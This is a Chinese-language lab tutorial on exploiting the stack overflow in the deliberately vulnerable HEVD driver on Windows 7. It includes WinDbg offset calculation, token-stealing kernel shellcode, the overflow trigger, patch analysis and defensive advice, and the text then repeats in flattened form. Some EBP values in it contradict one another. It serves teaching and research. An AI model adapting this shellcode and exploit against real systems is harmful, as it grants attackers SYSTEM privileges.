Windows Kernel Exploit(二) -> StackOverflow
字数 1538 2025-08-05 08:20:12

Windows Kernel Exploit 教学文档:栈溢出漏洞分析与利用

0x00 环境准备

在进行Windows内核栈溢出漏洞分析前,需要准备以下环境:

  1. 操作系统环境

    • Windows 7 x86 SP1虚拟机
    • 配置好Windbg调试工具(建议配合VirtualKD使用)
  2. 漏洞环境

    • HEVD (HackSys Extreme Vulnerable Driver)
    • OSR Loader用于加载HEVD驱动
  3. 调试工具

    • IDA Pro用于静态分析
    • Windbg用于动态调试

0x01 漏洞原理分析

栈溢出基本原理

栈溢出是系统漏洞中最基础的漏洞类型,其核心原理是:

  1. 程序对用户输入的缓冲区大小缺乏有效控制
  2. 当缓冲区作为参数传入函数时,可能覆盖关键内存区域
  3. 精心构造的输入可以覆盖返回地址,控制程序执行流程

漏洞代码分析

分析StackOverflow.c中的关键函数TriggerStackOverflow

int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size) {
    unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
    CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
    
    KernelBuffer[0] = 0;
    memset(&KernelBuffer[1], 0, 0x7FCu);
    ms_exc.registration.TryLevel = 0;
    
    ProbeForRead(UserBuffer, 0x800u, 4u);
    DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
    DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
    DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
    DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
    DbgPrint("[+] Triggering Stack Overflow\n");
    
    memcpy(KernelBuffer, UserBuffer, Size);
    return 0;
}

漏洞点

  1. KernelBuffer大小为0x800字节(512*4)
  2. memcpy直接使用用户提供的Size参数,没有进行边界检查
  3. Size > 0x800时,会导致栈溢出

0x02 漏洞调试与偏移计算

调试步骤

  1. 设置断点

    • 第一处:TriggerStackOverflow函数开始处
    • 第二处:memcpy函数调用处
  2. 获取关键地址

    kd> bl
    0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
    1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
    
  3. 第一处断点信息

    kd> r
    eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
    eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
    
    • 返回地址位于0x91a03ad4
  4. 第二处断点信息

    kd> dd esp
    91a03274 91a032b4 0032f018 00000907 8c6d25be
    
    • KernelBuffer地址为0x91a032b4
  5. 计算偏移

    >>> hex(0x91a03ad4 - 0x91a032b4)
    '0x820'
    
    • 需要覆盖0x820字节才能到达返回地址

0x03 漏洞利用开发

利用思路

  1. 构造0x820字节的缓冲区
  2. 将返回地址覆盖为shellcode地址
  3. 确保栈平衡(修复EBP)

Shellcode设计

VOID ShellCode() {
    //__debugbreak(); // 调试断点
    __asm {
        pop edi
        pop esi
        pop ebx
        pushad
        mov eax, fs:[124h]
        mov eax, [eax+050h]
        mov ecx, eax
        mov edx, 4
        
    find_sys_pid:
        mov eax, [eax+0b8h]
        sub eax, 0b8h
        cmp [eax+0b4h], edx
        jnz find_sys_pid
        
        mov edx, [eax+0f8h]
        mov [ecx+0f8h], edx
        popad
        pop ebp
        ret 8
    }
}

Shellcode功能

  1. 通过fs:[124h]获取当前线程的KTHREAD结构
  2. 遍历进程链表查找系统进程(PID=4)
  3. 复制系统进程的Token到当前进程
  4. 实现提权

栈平衡问题

在漏洞利用过程中需要注意:

  1. 原始EBP值为0x91a3bafc
  2. Shellcode执行时EBP被覆盖为0x41414141
  3. 需要在Shellcode中修复EBP为0x97a8fafc

利用代码实现

char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;

DeviceIoControl(hDevice, 0x222003, buf, 0x824, NULL, 0, &bReturn, NULL);

0x04 补丁分析

对比安全版本和不安全版本的差异:

不安全版本

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

安全版本

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

补丁关键点

  1. 使用sizeof(KernelBuffer)代替用户提供的Size
  2. 确保复制的数据不会超过目标缓冲区大小

0x05 扩展思考

  1. 与现代Windows系统的差异

    • Windows 7及更早版本缺乏完善的内核保护机制
    • Windows 10引入了更多安全机制:
      • SMEP (Supervisor Mode Execution Prevention)
      • SMAP (Supervisor Mode Access Prevention)
      • kCFG (Kernel Control Flow Guard)
      • kASLR (Kernel Address Space Layout Randomization)
  2. 与Linux内核漏洞的对比

    • Linux中常见的保护机制:
      • Canary
      • ASLR
      • NX (No-Execute)
      • PIE (Position Independent Executable)
    • Windows内核漏洞利用通常需要考虑:
      • 会话空间布局
      • 对象类型索引
      • 内存池分配策略
  3. 防御建议

    • 对所有内存拷贝操作进行严格的边界检查
    • 使用安全函数替代不安全的API
    • 启用编译器提供的安全选项(如GS, /safeSEH等)
    • 定期进行代码审计和安全测试
Windows Kernel Exploit 教学文档:栈溢出漏洞分析与利用 0x00 环境准备 在进行Windows内核栈溢出漏洞分析前,需要准备以下环境: 操作系统环境 : Windows 7 x86 SP1虚拟机 配置好Windbg调试工具(建议配合VirtualKD使用) 漏洞环境 : HEVD (HackSys Extreme Vulnerable Driver) OSR Loader用于加载HEVD驱动 调试工具 : IDA Pro用于静态分析 Windbg用于动态调试 0x01 漏洞原理分析 栈溢出基本原理 栈溢出是系统漏洞中最基础的漏洞类型,其核心原理是: 程序对用户输入的缓冲区大小缺乏有效控制 当缓冲区作为参数传入函数时,可能覆盖关键内存区域 精心构造的输入可以覆盖返回地址,控制程序执行流程 漏洞代码分析 分析 StackOverflow.c 中的关键函数 TriggerStackOverflow : 漏洞点 : KernelBuffer 大小为0x800字节(512* 4) memcpy 直接使用用户提供的 Size 参数,没有进行边界检查 当 Size > 0x800 时,会导致栈溢出 0x02 漏洞调试与偏移计算 调试步骤 设置断点 : 第一处: TriggerStackOverflow 函数开始处 第二处: memcpy 函数调用处 获取关键地址 : 第一处断点信息 : 返回地址位于 0x91a03ad4 第二处断点信息 : KernelBuffer 地址为 0x91a032b4 计算偏移 : 需要覆盖0x820字节才能到达返回地址 0x03 漏洞利用开发 利用思路 构造0x820字节的缓冲区 将返回地址覆盖为shellcode地址 确保栈平衡(修复EBP) Shellcode设计 Shellcode功能 : 通过 fs:[124h] 获取当前线程的 KTHREAD 结构 遍历进程链表查找系统进程(PID=4) 复制系统进程的Token到当前进程 实现提权 栈平衡问题 在漏洞利用过程中需要注意: 原始EBP值为 0x91a3bafc Shellcode执行时EBP被覆盖为 0x41414141 需要在Shellcode中修复EBP为 0x97a8fafc 利用代码实现 0x04 补丁分析 对比安全版本和不安全版本的差异: 不安全版本 : 安全版本 : 补丁关键点 : 使用 sizeof(KernelBuffer) 代替用户提供的 Size 确保复制的数据不会超过目标缓冲区大小 0x05 扩展思考 与现代Windows系统的差异 : Windows 7及更早版本缺乏完善的内核保护机制 Windows 10引入了更多安全机制: SMEP (Supervisor Mode Execution Prevention) SMAP (Supervisor Mode Access Prevention) kCFG (Kernel Control Flow Guard) kASLR (Kernel Address Space Layout Randomization) 与Linux内核漏洞的对比 : Linux中常见的保护机制: Canary ASLR NX (No-Execute) PIE (Position Independent Executable) Windows内核漏洞利用通常需要考虑: 会话空间布局 对象类型索引 内存池分配策略 防御建议 : 对所有内存拷贝操作进行严格的边界检查 使用安全函数替代不安全的API 启用编译器提供的安全选项(如GS, /safeSEH等) 定期进行代码审计和安全测试